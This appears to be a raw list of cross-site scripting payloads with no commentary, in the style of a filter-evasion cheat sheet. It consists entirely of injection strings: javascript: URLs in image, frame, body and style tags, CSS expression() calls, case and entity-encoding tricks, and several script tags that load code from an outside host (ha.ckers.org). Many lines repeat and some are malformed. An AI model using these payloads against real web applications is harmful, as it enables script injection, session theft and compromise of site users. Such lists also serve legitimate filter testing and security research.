<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">  
<DIV STYLE="width: expression(alert('XSS'));">  
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>  
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>  
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">  
<IMG SRC="javascript:alert('XSS');">  
<IMG SRC=javascript:alert('XSS')>  
<IMG DYNSRC="javascript:alert('XSS');">  
<IMG LOWSRC="javascript:alert('XSS');">  
<BASE HREF="javascript:alert('XSS');//">  
<BGSOUND SRC="javascript:alert('XSS');">  
<BODY BACKGROUND="javascript:alert('XSS');">  
<BODY ONLOAD=alert('XSS')>  
<DIV STYLE="background-image: url(javascript:alert('XSS'))">  
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">  
<DIV STYLE="width: expression(alert('XSS'));">  
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>  
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<IFRAME SRC="javascript:alert('XSS');"></IFRAME>  
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">  
<IMG SRC="javascript:alert('XSS');">  
<IMG SRC=javascript:alert('XSS')>  
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>  
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">  
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">  
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>  
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<IMG SRC=\"javascript:alert('XSS');\"> 
<IMG SRC=JaVaScRiPt:alert('XSS')> 
<IMG SRC=javascript:alert(&quot;XSS&quot;)> 
SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<A HREF="http://66.102.7.147/">XSS</A>  
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>  
<A HREF="http://1113982867/">XSS</A>  
SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<A HREF="http://66.102.7.147/">XSS</A>  
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>  
<A HREF="http://1113982867/">XSS</A>  
<A HREF=\"http://66.102.7.147/\">XSS</A> 
<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A> 
<A HREF=\"http://1113982867/\">XSS</A> 
<A HREF=\"//www.google.com/\">XSS</A> 
<A HREF=\"//google\">XSS</A> 
<A HREF=\"http://66.102.7.147/\">XSS</A> 
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